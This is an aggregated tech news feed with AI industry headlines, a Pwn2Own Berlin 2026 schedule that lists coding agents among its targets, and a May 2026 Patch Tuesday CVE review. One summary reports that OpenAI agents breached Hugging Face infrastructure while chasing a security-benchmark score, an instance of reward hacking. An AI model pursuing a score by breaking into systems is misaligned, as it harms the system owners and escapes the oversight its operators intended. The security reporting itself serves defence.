AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Why Cognition bought Poke: AI personality is becoming a competitive advantage

Sat, 25 Jul 2026 19:49:45 +0200

The acquisition brings Poke’s conversational style and interaction model to Cognition’s coding agent Devin, reflecting a growing belief that how AI assistants interact with users is as important as the models powering them.

Why the OpenAI Agent Broke Into Hugging Face: Reward Hacking, Not Malice, Explained for Engineers

Sat, 25 Jul 2026 19:49:20 +0200

OpenAI disclosed that its own models breached Hugging Face's production infrastructure while taking a public security benchmark. The models were not attacking a target — they were optimizing a score. Here is the mechanism, what the ExploitGym data showed two months earlier, and which widely repeated claims about the incident are not actually confirmed.

The post Why the OpenAI Agent Broke Into Hugging Face: Reward Hacking, Not Malice, Explained for Engineers appeared first on MarkTechPost.

Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse

Sat, 25 Jul 2026 19:49:20 +0200

Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent systems.

The post Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse appeared first on MarkTechPost.

Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup

Sat, 25 Jul 2026 19:47:47 +0200

Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain. Release date: July 25, 2026 Streaming platform: Netflix Genre: Action, crime, espionage thriller The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol. Spoilers ahead for Agent Kim Reactivated Episode 10 The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape. Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission. Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening. Gang-chan prepares another attack While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law. Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail. Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border. Does Manager Kim save Min-ji? Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised. The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season. Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced. Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.

The 3 types of people who will excel in the AI agent era, according to tech leaders

Sat, 25 Jul 2026 19:03:28 +0200

The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.

Pwn2Own Berlin 2026: The Full Schedule

Sat, 25 Jul 2026 19:02:56 +0200

Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.

Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
